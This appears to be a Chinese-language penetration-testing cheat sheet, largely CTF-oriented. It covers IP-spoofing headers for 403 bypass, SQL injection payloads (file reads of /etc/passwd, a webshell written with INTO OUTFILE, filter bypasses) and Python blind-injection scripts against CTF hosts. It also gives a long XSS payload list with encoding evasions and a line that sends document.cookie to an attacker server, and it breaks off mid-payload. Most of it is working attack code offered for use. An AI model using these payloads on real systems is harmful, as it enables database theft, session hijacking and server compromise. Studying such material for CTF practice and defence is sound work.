X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost
X-Client-IP: 127.0.0.1
X-Forwared-Host: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Real-ip: 127.0.0.1
X-rewrite-url: secret.php //这个是bypass 403
Proxy-Authorization:ymzx.qq.com
Proxy-Authenticate:ymzx.qq.com
X-Client-IP:ymzx.qq.com
X-Remote-IP:ymzx.qq.com
X-Rriginating-IP:ymzx.qq.com
X-Remote-addr:ymzx.qq.com
HTTP_CLIENT_IP:ymzx.qq.com
X-Real-IP:ymzx.qq.com
X-Originating-IP:ymzx.qq.com
via:ymzx.qq.com
1.sql注入如果没有过滤load_file,就能直接读取文件。例如:
address
=(select(load_file('/flag.txt')))# 可以直接在不爆表爆字段等任何信息的情况下直接读取到flag.txt文件。
2.sql注入中,空格能用内联注释符/**/
或tab键代替,似乎/*/
和//
也可以;如果注释符#
被过滤,可以用;%00
替代,截断注释后面的内容。
sql判断列数
order by 3
查询所有数据库:
select group_concat(schema_name) from information_schema.schemata
查询当前数据库的所有表:
select group_concat(table_name) from information_schema.tables where table_schema=database()
查询表中所有字段
select group_concat(column_name) from information_schema.columns where table_name="users"
查询数据
select group_concat(username,password) from pikachu.users
盲注常用函数: 1、left()函数:left(database(),1)>'s' database()显示数据库名称,left(a,b)从左侧截取a的前b位; ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' -- 0 查询第一个表的首字母是不是e 2、regexp:select user() regexp '^r' 正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式; ?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^s' -- 0 查询第一个数据库中的第一个表的首字母是不是s 3、like:select user() like 'ro%' 与regexp类似,使用like进行匹配 ?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) like 'e%' -- 0 查询第一个数据库中的第一个表的首字母是不是s 4、substr()函数:ascii(substr((select database()),1,1))=98 substr(a,b,c)从b位置开始,截取字符串a的c长度。ASCII()将某个字符串转换为ASCII值 数据库的命名规则是a~z 或 0~9 或是 _下划线 ?id=1' and ascii(substr((select database()),1,1))=115 -- 0 判断数据库的第一个字母是不是s 5、ord()函数和mid函数:ord(mid((select user()),1,1))=114 mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转化为ascii值 方法同4、 6、if() - 条件,真返回,假返回 7、mid() - 字符串,起始位置,截取的长度 返回的内容:截取出来的内容 8、sleep() 盲注脚本: import requests for i in range(1, 30): result = '' url = "http://target/index.php?id=-1/**/or/**/" # web7 payload = "ascii(substr(database()/**/from/**/{}/**/for/**/{}))=%d#" # web7 过滤了逗号, = substr(database(),5,1) payload1 = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/{}/**/for/**/{}))=%d" # flag payload2 = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)/**/from/**/{}/**/for/**/{}))=%d" # flag payload3 = "ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/%d/**/for/**/1))=%d" # ctfshow{8e2dd139-fd3c-4f81-892e-37eb61ec1828} for j in range(1, 129): target = url + payload3 % (i, j) html = requests.get(target) if "if" in html.text: result += chr(j) print(result, end="")
读文件条件: 1.secure_file_priv值允许对该路径下的文件进行操作 2.数据库用户(mysql的属主)对文件有读权限 3.当前数据库登录用户拥有file权限 load_file方法: id=-1' union select 1,load_file("/etc/passwd"),3 -- - 系统命令方法: system cat /tmp/1.txt; 写文件: 上述条件下还要知道知道文件的完整路径 一、secure_file_priv mysql>show global variables like "secure_file_priv"; mysql>show global variables like "secure%"; 值为NULL,表示禁止文件的导入与导出 值为某一目录,表示只能对该目录下的文件导入与导出 值为空,表示不对文件的读写进行限制 ?id=1 +UNION+SELECT+1,2,’<? phpinfo(); ?>’ into outfile ‘/var/www/html/2.php’ %23
php宽字节注入原理:
字符型的注入点通常是用单引号来判断的,但是当遇到addslashes()时,单引号会被转义 ,导致我们用来判断注入点的单引号失效。所以我们的目的就是使转义符 \ 失效、使单引号逃逸。
宽字节字符集比如GBK它会自动把两个字节的字符识别为一个汉字,绕过反斜线,使单引号实现注入功能。
使用%df绕过addslashes()函数:
http://ip/?id=-1%df' union select 1,2,database() %23
php常用的报错注入的函数:updatexml()、extractvalue()、floor()
基于函数报错的信息获取(select/insert/update/delete)
!注意:利用报错函数的前提是:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
三个基于报错函数的用法:
1、updatexml():函数是MySQL对XML文档数据进行查询和修改的XPATH函数;
作用:改变(查找并替换)XML文档中符合条件的节点的值。
语法:updatexml(xml_document,XPathstring,new_value)
第一个参数:fiedname是string格式,为表中的字段名。
第二个参数:XPathstring(Xpath格式的字符串)。
第三个参数:new_value,String格式替换查找到符合条件的
xpath的丁文是有效的,否则会发生错误。
~:0x7e
例子:字符型注入(get)(delete):
1、kobe' and updatexml(1,concat(0x7e,database(),0x7e),0)#
2、id=57+or+updatexml+(1,concat(0x7e,database(),0x7e),0)
获取表名:
kobe' and updatexml(1,concat(0x7e(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
获取列名:
kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#
基于insert下的报错:
在注册框内插入:
xiaohong' or updatexml(1,concat(0x7e,database()),0) or ' 在报错的时候会爆出数据库名;
基于delete下的报错(数字型):
1 or updatexml(1,concat(0x7e,database()),0)
2、extractvalue():函数也是MySQL对XML文档数据进行查询的XPATH函数。
extractvalue()函数的作用是:从目标中返回值包含所查询值的字符串。
语法:ExtracValue(Xml_document,xpath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc。
第二个参数:Xpath_string(Xpath格式的字符串)。
Xpath定位必须是有效的,否则会发生错误。
例子:pikachu 字符型注入:
1、kobe' and extractvalue(0,concat(0x7e,version()))# 显示出数据库的版本。
2、xiaodi' or extractvalue(0,conact(0x7e,database())) or '
3、floor():MySQL中用来取整的函数。
例子:pikachu 字符型注入:
kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
其中可以把version()替换成我们想要的内容。
--dbms=sqlite
php#
%23
--
-- -
--+
//
/**/
/*letmetest*/
;%00
空格绕过:
/**/
%09 //tab键
%0a
()
^ //异或
引号绕过:
hex编码 //mysql可解析hex 编码赋值
例:
select group_concat(column_name) from information_schema.columns where table_name=0x7573657273
逗号绕过
substr(database(),0,1) = substr(database() from 0 for 1)
<>大小于号绕过:
= //可用=去猜 like 可替换 =
greatest(ascii(substr(database(),0,1)),100) 返回最大值
LEAST(1,2) 返回1 返回最小值
注释符绕过:
;%00 //;表示语句结尾 %00表示截断后面的字符
例:
1'union+select+1,database();%00
双写绕过
大小写绕过
过滤了select
//查表
-1';show tables%23
//查字段
-1';show columns from `user`%23
//查数据
-1';handler `1919810931114514` open as toert;handler toert read next%23
利用 payload : juan79'%09UNION%09SELECT%091,2,3,4,5#
测试,发现存在 ,
过滤,那么利用别名进行绕过,如下:
search=1' UNION SELECT * FROM ((SELECT 1)A join (SELECT 1)B join (SELECT 1)C join (SELECT 1)D join (SELECT 1)E)#
结果如下图:
利用如下 payload 获取表名 :
search=1' UNION SELECT * FROM ((SELECT GROUP_CONCAT(TABLE_NAME) FROM sys.schema_table_statistics_with_buffer WHERE TABLE_SCHEMA=DATABASE())A join (SELECT 1)B join (SELECT 1)C join (SELECT 1)D join (SELECT 1)E)#
获得结果,如下图:
phpimport requests
import time
# 配置目标URL和注入点
url = "http://example.com/vulnerable_page?id=1"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
}
# 定义时间延迟
DELAY = 5
# 定义字符集
CHARS = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
def time_based_sqli(payload):
start_time = time.time()
response = requests.get(url + payload, headers=headers)
end_time = time.time()
return end_time - start_time
def extract_data():
extracted_data = ""
for position in range(1, 21): # 假设我们要提取前20个字符
for char in CHARS:
payload = f"' AND IF(SUBSTRING((SELECT database()),{position},1)='{char}', SLEEP({DELAY}), 0)-- -"
if time_based_sqli(payload) >= DELAY:
extracted_data += char
print(f"Position {position}: {char}")
break
return extracted_data
if __name__ == "__main__":
data = extract_data()
print(f"Extracted Data: {data}")
a-zA-Z0-9{_}
且不能使用LIKE和注释符的PostgreSQL盲注。LIKE的功能可以用BETWEEN代替
phpimport requests
url = "https://penguin.chall.lac.tf/submit"
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
found=0
alphabet = '0123456789qwertyuiopasdfghjklzxcvbnm}'
found_string="lactf{90stgr353sn0tl7k3th30th3rdbs0w"
#print(brute[len(brute)-1])
while found_string[len(found_string)-1] != "}":
if (found == 1):
break
for brute in alphabet:
payload = 'username=\'%20UNION%20SELECT%20name%20from%20penguins%20WHERE%20NAME%20BETWEEN%20\''+found_string+brute+'\'%20AND%20\''+found_string+brute+'z'
response = requests.request("POST", url, headers=headers, data=payload)
match response.status_code:
case 201:
#print("not found yet")
if (brute=="}"):
found = 1
break
case 200:
found_string = found_string + brute
print(found_string)
if (brute=="}"):
found = 1
break
print("Found! "+found_string)
。union仅会返回不重复的查询内容,而union all会返回包括重复项的全部内容
phpimport requests
import re
URL = "http://one-shot.amt.rs"
# Get session id
def get_session():
res = requests.post(URL + "/new_session")
return res.text.split('type="hidden" name="id" value="')[1].split('"')[0]
# Search for password, use malicious query
def search(session: str, query: str):
query = query.replace("{id}", session)
res = requests.post(URL + "/search", data={"id": session, "query": query})
return re.findall(r"<li>(.*?)</li>", res.text)
# Guess the password
def guess(session: str, password: str):
res = requests.post(URL + "/guess", data={"id": session, "password": password})
return res.text
# Build a malicious query
def build_query():
query = "%' OR 1=1"
for n in range(1, 33):
query += f" UNION ALL SELECT SUBSTRING(password, {n}, 1) FROM table_" + "{id}"
return query + " --"
session = get_session()
vals = search(session, build_query())
vals = [val for val in vals if len(val) == 1] # get only characters
print(guess(session, "".join(vals)))
phpimport requests
url = 'http://736aa374-b497-441f-9b6a-a1c91f9b182b.node4.buuoj.cn:81/login.php'
flag = ''
for i in range(1, 1000):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
#payload = f"1' or ascii(substr(database(),{i},1))>{mid}#" #查库
#payload = f"1' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='note'),{i},1))>{mid}#" #查表
#payload = f"1' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='fl4g'),{i},1))>{mid}#" #查列
payload = f"1' or ascii(substr((seleCt(flag)from(fl4g)),{i},1))>{mid}#" #查数据
data = {
"name":payload,
"pass":'qwer'
}
response = requests.post(url, data = data)
if 'u6216' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if low != 32 :
flag += chr(int(low))
else:
break
print(flag)
phpimport requests
import time
url = 'http://736aa374-b497-441f-9b6a-a1c91f9b182b.node4.buuoj.cn:81/login.php'
flag = ''
for i in range(1,1000):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
#payload = f"1' or if(ascii(substr(database(),{i},1))>{mid},sleep(2),1)#" #查库名
#payload = f"1'or if(ascii(substr((seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)='note'),{i},1))>{mid},sleep(2),1)#" #查表名
#payload = f"1'or if(ascii(substr((seleCt(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),{i},1))>{mid},sleep(2),1)#" #查列名
payload = f"1'or if(ascii(substr((seleCt(flag)from(fl4g)),{i},1))>{mid},sleep(2),1)#" #查数据
data = {
"name":payload,
"pass":'qwer'
}
last = int(time.time())
response = requests.post(url, data = data)
now = int(time.time())
if now - last > 1 :
low = mid + 1
else :
high = mid
mid = (low + high) // 2
if low != 32 :
flag += chr(int(low))
else:
break
print(flag)
phpimport requests
url = "http://d98fb290-369c-4ad8-8cd5-883846041dad.node4.buuoj.cn/search.php?id="
name = ''
for i in range(1,1000):
min = 32
max = 128
while min<max:
mid = (min + max) // 2
payload=f"1^(ascii(substr(database(),{i},1))>{mid})#" #查库名
#payload=f"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),{i},1))>{mid})#" #查表名
#payload=f"1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y'),{i},1))>{mid})#" #查列名
#payload=f"1^(ascii(substr((select(group_concat(password))from(F1naI1y)),{i},1))>{mid})#" #查数据
response=requests.get(url=url+payload)
if 'ERROR' in response.text:
min = mid + 1
else:
max=mid
if min != 32 :
name += chr(min)
else:
break
print(name)
phpimport requests
import time
url = "http://d98fb290-369c-4ad8-8cd5-883846041dad.node4.buuoj.cn/search.php?id="
name = ''
for i in range(1,1000):
min = 32
max = 128
while min<max:
mid = (min + max) // 2
payload=f" " #查库名
#payload=f" " #查表名
#payload=f" " #查列名
#payload=f" " #查数据
last = int(time.time())
response=requests.get(url=url+payload)
now = int(time.time())
if now - last > 1:
min = mid + 1
else:
max=mid
if min != 32 :
name += chr(min)
else:
break
print(name)
(参考链接1)
javascript<img src=1 onerror=alert(1);>
</script><script>alert(1);</script>
</script><script>alert(document.cookie);</script>
><body onload=alert(1)>
<ScRiPt>alert(1);</ScRiPt>
eval(%26%23%27 alert(1)%26%23%27);yoid
/><script>alert(1);</script>
alert(1)
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<a onmouseover="alert(document.cookie)">xxs link</a>
<a onmouseover=alert(document.cookie)>xxs link</a>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<IMG SRC=javascript:alert(
'XSS')>
<IMG SRC=javascript:a&
#0000108ert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="  javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="javascript:alert('XSS')"
<iframe src=http://ha.ckers.org/scriptlet.html <
\";alert('XSS');//
</script><script>alert('XSS');</script>
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="livescript:[code]">
<BODY ONLOAD=alert('XSS')>
<BGSOUND SRC="javascript:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<XSS STYLE="xss:expression(alert('XSS'))">
<XSS STYLE="behavior: url(xss.htc);">
¼script¾alert(¢XSS¢)¼/script¾
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->
<BASE HREF="javascript:alert('XSS');//">
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
<? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?>
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<A HREF="http://66.102.7.147/">XSS</A>
0\"autofocus/onfocus=alert(1)--><video/poster/ error=prompt(2)>"-confirm(3)-"
veris-->group<svg/onload=alert(/XSS/)//
#"><img src=M onerror=alert('XSS');>
element[attribute='<img src=x onerror=alert('XSS');>
[<blockquote cite="]">[" onmouseover="alert('RVRSH3LL_XSS');" ]
%22;alert%28%27RVRSH3LL_XSS%29//
javascript:alert%281%29;
<w contenteditable id=x onfocus=alert()>
alert;pg("XSS")
<svg/onload=%26%23097lert%26lpar;1337)>
<script>for((i)in(self))eval(i)(1)</script>
<scr<script>ipt>alert(1)</scr</script>ipt><scr<script>ipt>alert(1)</scr</script>ipt>
<sCR<script>iPt>alert(1)</SCr</script>IPt>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">test</a>
javascript<a> <img> <svg> <iframe> <input> <script> onload onerror onclick onunload onchange onsubmit onreset onselect onblur onfocus onabort onkeydown onkeypress onkeyup ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop
javascript<script>alert(1)</script>
<script>prompt(1)</script>
<svg onload=alert(1)>
<img src=x onerror="alert(1)">
<img src=x onclick="prompt(1)">
<a href="javascript:alert(1)" >click me</a>
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
<iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>
<input onfocus="alert(1)">
javascript"><svg/onload=alert(1)//
" onclick="confirm(1)" "
#尝试引入外部javascript
“><script src=http://www.xxx.com/ec.js></script>
<svg/onload=s=createElement('script');body.appendChild(s);s.src='js地址'//
onfocus='a=document.createElement("script");a.src=http://x.x.x.x";body.appendChile(a);'
onfocus='a=document.createElement("sc"+"ript");a.src=http://x.x.x.x";body.appendChile(a);'
<link%20rel=import%20href="2.js">
#发送cookie到vps
<script>window.location.href="http://vps.ip/?cookie="+document.cookie;</script>
php- 注释
/**/
/=><svg/onload=alert(1)>
<script>/*
*/alert/*
*/(document/*
*/.cookie)/*
*/</script>
- 换行绕过
%0d
%0a
%0
javascript- 单引号`'`被禁用双引号`"`,来回替换
- 用斜杠`/`替换引号
alert(/xss/)
- 单双引号都被禁,不用引号
<input onfocus=alert(1)>
- 反引号
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
javascript- 替换关键字
alert
confirm
prompt
- 分割关键词
> 此处特殊字符用url编码代替
#空白字符形式
alert%20(/xss/)
#回车换行
alert%0a(/xss/)
alert%0d(/xss/)
#缩进
alert%09(/xss/)
#注释
alert/*abcd*/(/xss/)
#注释换行
alert//abcd%0a(/xss/)
alert//abcd%0d(/xss/)
#括号分割
(alert)(/xss/)
((alert))(/xss/)
- window和top调用
window.alert(0)
window['al'+'ert'](0)
top['al'+'ert'](0)
top.alert(0)
#用法
<img src=x onerror="window['al'+'ert'](0)"></img>
<img src=x onerror="window.alert(0)"></img>
<img src=x onerror="top['al'+'ert'](0)"></img>
<img src=x onerror="top.alert(0)"></img>
- 动态调用
<input/onfocus=_=alert,_(123)>
<input/onfocus=_=alert,xx=1,_(123)>
<input/onfocus=_=alert;_(123)>
<input/onfocus=_=alert;xx=1;_(123)>
<input/onfocus=_=window['alert'],_(123)>
<input/onfocus=_=window.alert,_(123)>
<input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`>
- 异常处理
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
<img src=1 onerror="window.onerror=eval;throw'=alert\x281\x29';">
- eval执行js
<svg/onload=eval('ale'+'rt(1)')>
- 关键字拼接
<svg/onload=location='javas'+'cript:ale'+'rt(1)'>
<svg/onload=window.location='javas'+'cript:ale'+'rt(1)'>
<svg/onload=location.href='javas'+'cript:ale'+'rt(1)'>
<svg/onload=window.open('javas'+'cript:ale'+'rt(1)')>
<svg/onload=location='javas'.concat('cript:ale','rt(1)')>
- eval结合编码
<script>window['eval']("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
<script>window['eval']("\141\154\145\162\164\050\061\051")</script>
<script>window['eval']("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
- 大小写绕过
<sCriPt>alert(1);</scRiPt>
- 双写绕过
针对服务器删除敏感字符的过滤
<sCrsCriPtiPt>alert(1);</scRsCriPtiPt>
javascript<iframe src=javascript:alert(1)>
十进制html编码
<iframe src=javascript:alert(1)>
十六进制html编码
<iframe src=javascript:alert(1)>
不带分号形式
<iframe src=javascript:alert(1)>
填充0的形式
<iframe src=javascript:alert(1)>
部分关键字绕过
<iframe src=javas	cript:alert(1)></iframe> //Tab
<iframe src=javas
cript:alert(1)></iframe> //回车
<iframe src=javas
cript:alert(1)></iframe> //换行
<iframe src=javascript:alert(1)></iframe> //编码冒号
<iframe src=javasc
ript:alert(1)></iframe> //HTML5 新增的实体命名编码,IE6、7下不支持
<a href=javas	cript:alert(1)>
javascript<a href="{here}">xx</a>
<iframe src="{here}">
在src和href中可以进行URL编码,但是javascript:
不能进行URL编码
javascript<a href="javascript:%61%6c%65%72%74%28%31%29">xx</a>
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
二次URL编码
javascript<iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529"></iframe>
结合16进制html编码
javascript<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
普通编码
php<input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus>
<input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus>
八进制及十六进制
php<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
<script>eval("\141\154\145\162\164\050\061\051")</script>
<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
php<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
<iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>
利用atob函数
php<a%20href=javascript:eval(atob('YWxlcnQoMSk='))>Click</a>
<a%20href=javascript:eval(window.atob('YWxlcnQoMSk='))>Click</a>
<a%20href=javascript:eval(window['atob']('YWxlcnQoMSk='))>Click</a>
这个方法用于将unicode转换为字符串
php<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>Click</a>
字符串转ascii脚本
phpdef to_ascii(text):
ascii_values = [ord(character) for character in text]
return ascii_values
text = "alert(1)"
print(str(to_ascii(text)))
Unicode编码
php<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
URL编码
php<a href=javascript:%2561%256c%2565%2572%2574%2528%2531%2529>Click</a>
HTML编码
php<a href=javascript:alert(1)>Click</a>
编码顺序:Unicode->URL->HTML
php# Unicode
<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
# Unicode+URL
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
# Unicode+URL+HTML
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
<script/src=data:text/j\u0061v\u0061script,\u0061%6C%65
php<script>[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!